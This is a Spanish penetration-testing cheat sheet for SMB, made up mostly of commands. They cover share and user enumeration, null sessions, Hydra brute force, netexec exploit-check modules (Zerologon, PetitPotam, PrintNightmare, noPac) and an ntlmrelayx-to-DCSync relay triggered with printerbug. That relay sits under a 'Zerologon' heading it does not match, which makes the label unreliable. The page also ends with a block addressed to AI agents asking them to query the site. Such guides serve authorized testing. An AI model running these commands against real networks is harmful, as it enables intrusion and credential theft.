# SMB

<table data-header-hidden><thead><tr><th width="152"></th><th></th></tr></thead><tbody><tr><td><strong>Puerto/s</strong></td><td><p>135</p><p>445</p></td></tr><tr><td><strong>Protocolo/s</strong></td><td>TCP</td></tr></tbody></table>

## Vulnerabilidades comunes

* Versiones de SMB desactualizadas (SMB v1/v2) con exploits conocidos.
* Configuración insegura de permisos en carpetas compartidas.
* Acceso con sesiones nulas (anonymous).
* Credenciales por defecto o débiles.
* Versiones de software con vulnerabilidades conocidas.

### Checklist de vulnerabilidades

| Vulnerabilidad                         | Descripción                                                                          | Detalles                                                             |
| -------------------------------------- | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------- |
| **Firma SMB deshabilitada**            | La firma SMB no está habilitada, lo que permite ataques de Man-in-the-Middle (MITM). | [#firma-smb-deshabilitada](#firma-smb-deshabilitada "mention")       |
| **SMBv1 habilitado**                   | Uso de una versión obsoleta e insegura del protocolo SMB (SMBv1).                    | [#smbv1-habilitado](#smbv1-habilitado "mention")                     |
| **Sesiones nulas habilitadas**         | Permite conexiones anónimas (sin credenciales).                                      | [#sesiones-nulas-habilitadas](#sesiones-nulas-habilitadas "mention") |
| **Credenciales por defecto o débiles** | Cuentas sin contraseña o con contraseñas débiles.                                    | Pendiente                                                            |
| **Shares con permisos de escritura**   | Recursos compartidos con permisos de escritura para usuarios no autorizados.         | Pendiente                                                            |
| **Enumeración de usuarios**            | Permite extraer lista de usuarios a través de RPC, LSARPC, RID brute, etc.           | Pendiente                                                            |
| **CVEs**                               | Vulnerabilidades públicas conocidas (Zerologon, Petitpotam, ...)                     | [#cves](#cves "mention")                                             |

## Enumeración

### Identificación de hosts

Enumerar una red en busca de hosts:

<pre class="language-bash"><code class="lang-bash">NET='192.168.1.0/24'
nbtscan -r $NET

# Para una lista de IPs
for ip in $(cat <a data-footnote-ref href="#user-content-fn-1">servers.txt</a>); do nbtscan -r $ip; done
</code></pre>

Para enumerar los sistemas que cuenta con el servicio SMB:

* Netexec:

<pre class="language-bash"><code class="lang-bash">netexec smb &#x3C;red/IP/lista de servidores>
netexec smb 10.10.10.100
netexec smb 192.168.1.0/24
netexec smb <a data-footnote-ref href="#user-content-fn-2">servers.txt</a>
</code></pre>

Si se quiere realizar un escáner de una lista de subredes objetivo:

{% code overflow="wrap" %}

```bash
SCOPE_FILE='~/Pentest/scope/networks.txt'
for i in $(cat $SCOPE_FILE); do NET_FMTED="${i//\//-}" ; netexec smb $i --log "outputs/smb/netexec_$NET_FMTED_$(date +%Y%m%d).log" ; done
```

{% endcode %}

* Nmap:

```bash
NET='192.168.1.0/24'
NET_FMTED="${NET//\//-}"
nbtscan -r $NET
nmap -p 139,445 --script 'smb-*' -oA nmap/"$NET_FMTED" $NET
```

### Identificación de sistema operativo

```bash
git clone https://github.com/nopfor/ntlm_challenger.git

python ntlm_challenger.py 'smb://$IP'
```

### Identificación de versión SMB

<pre class="language-bash"><code class="lang-bash">msfconsole
use auxiliary/scanner/smb/smb_version
set RHOSTS file:/home/kali/<a data-footnote-ref href="#user-content-fn-3">scope.txt</a>
</code></pre>

### Identificación de carpetas compartidas

#### Sin autenticación

{% code overflow="wrap" %}

```bash
NET='192.168.1.0/24'
netexec smb $NET -u '' -p '' --shares --log "netexec_shares_nullsession_$(date +%Y%m%d).log"
```

{% endcode %}

<pre class="language-bash"><code class="lang-bash">IP='192.168.1.100'
smbmap -H $IP

# Para una lista de IPs
for ip in $(cat <a data-footnote-ref href="#user-content-fn-1">servers.txt</a>); do smbmap -H $ip; done
</code></pre>

<pre class="language-bash"><code class="lang-bash">IP='192.168.1.100'
smbclient -L //$IP -N

for ip in $(cat <a data-footnote-ref href="#user-content-fn-1">servers.txt</a>); do smbclient -L //$ip -N; done
</code></pre>

```bash
IP='192.168.1.100'
enum4linux-ng -A $IP
enum4linux -a $IP
```

```bash
IP='192.168.1.100'
USER='Administrator'
PASS='password123'
enum4linux -a -u $USER -p $PASS $IP
```

#### Con autenticación

{% code overflow="wrap" %}

```bash
NET='192.168.1.0/24'
USER='Administrator'
PASS='password123'
DC='dc.xtormincorp.local'
netexec smb $NET -u $USER -p $PASS -d $DC --shares
```

{% endcode %}

```bash
IP='192.168.1.100'
USER='Administrator'
PASS='password123'
netexec smb $IP -u $USER -H $HASH
```

### Módulos de Netexec

Siendo, por ejemplo, `xtormincorp` el nombre del dominio y `xtormin` el usuario:

{% code overflow="wrap" %}

```bash
USER='xtormincorp\xtormin'
PASS='password123'

netexec smb scope.txt -u $USER -p $PASS -M coerce_plus --log "netexec_coerceplus_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M petitpotam --log "netexec_petitpotam_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M zerologon --log "netexec_zerologon_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M printnightmare --log "netexec_printnightmare_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M smbghost --log "netexec_smbghost_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M nopac --log "netexec_nopac_$(date +%Y%m%d).log"
```

{% endcode %}

### Enumeración de discos

<pre class="language-bash"><code class="lang-bash">USER='Administrator'
PASS='password123'
IP='192.168.1.100'
<strong>netexec smb $IP -u $USER -p $PASS --disks
</strong></code></pre>

### Enumeración de usuarios

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">USER='Administrator'
PASS='password123'
IP='192.168.1.100'

# Usuarios locales
netexec smb $IP -u $USER -p $PASS --loggedon-users --log "netexec_loggedonusers_$(date +%Y%m%d).log"

# Usuarios del dominio
netexec smb $IP -u $USER -p $PASS --users --log "netexec_users_$(date +%Y%m%d).log"
<strong>
</strong><strong># Vía RID Cycling
</strong>netexec smb $IP -u $USER -p $PASS --rid-brute --log "netexec_ridbrute_$(date +%Y%m%d).log"
</code></pre>

Enumeración de grupos

{% code overflow="wrap" %}

```bash
USER='Administrator'
PASS='password123'
IP='192.168.1.100'

# Grupos locales
netexec smb $IP -u $USER -p $PASS --local-groups --log "netexec_localgroups_$(date +%Y%m%d).log"

# Grupos del dominio
netexec smb $IP -u $USER -p $PASS --groups --log "netexec_groups_$(date +%Y%m%d).log"
```

{% endcode %}

### Acceso a recursos

<pre class="language-bash"><code class="lang-bash">USER='Administrator'
PASS='password123'
IP='192.168.1.100'

<strong>smbmap -u $USER -p $PASS -H $IP
</strong>smbmap -u $USER -p $PASS -H $IP -R --exclude SYSVOL,IPC$
smbmap -u $USER -p $PASS -H $IP --download users$/user/azure.xml
</code></pre>

{% code overflow="wrap" %}

```bash
USER='Administrator'
PASS='password123'
IP='192.168.1.100'

netexec smb $IP -u $USER -p $PASS -M spider_plus --log "netexec_shares_spider_$(date +%Y%m%d).log"

netexec smb $IP -u $USER -p $PASS -M spider_plus -o READ_ONLY=False --log "netexec_shares_spider_noreadonly_$(date +%Y%m%d).log"
```

{% endcode %}

## Fuerza bruta

### Hydra

```bash
USER_FILE=user.txt
PASS_FILE=pass.txt
IP='192.168.1.101'
hydra -L $USER_FILE -P $PASS_FILE $IP smb
```

## Vulnerabilidades

### Firma SMB deshabilitada

```bash
IP='10.10.10.100'
LOG="netexec_smbsigning_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "Signing: False"
```

### SMBv1 habilitado

```bash
IP='10.10.10.100'
LOG="netexec_smbversion_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "SMBv1: True"
```

### **Sesiones nulas habilitadas**

{% code overflow="wrap" %}

```bash
IP='10.10.10.100'
netexec smb $IP -u '' -p '' --log "netexec_nullsessions_$(date +%Y%m%d).log"
```

{% endcode %}

### CVEs

#### Zerologon

Identificar si el DC ejecuta el servicio PrintSpooler:

```bash
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
```

Se ejecuta lo siguiente en una consola:

```bash
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
```

Se ejecuta lo siguiente en otra consola a la vez que el comando anterior:

```bash
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
```

## Referencias

* <https://www.netspi.com/blog/technical-blog/network-pentesting/powerhuntshares-2-0-release/>
* <https://www.netexec.wiki/>

[^1]: 10.10.10.101

    10.10.10.102

    10.10.10.103

    ...

[^2]: 10.10.10.101

    10.10.10.102

    10.10.10.103

    dc.xtormincorp.local

    ...

[^3]: 10.10.10.102

    10.10.10.103

    dc.xtormincorp.local

    ...


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/servicios/smb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
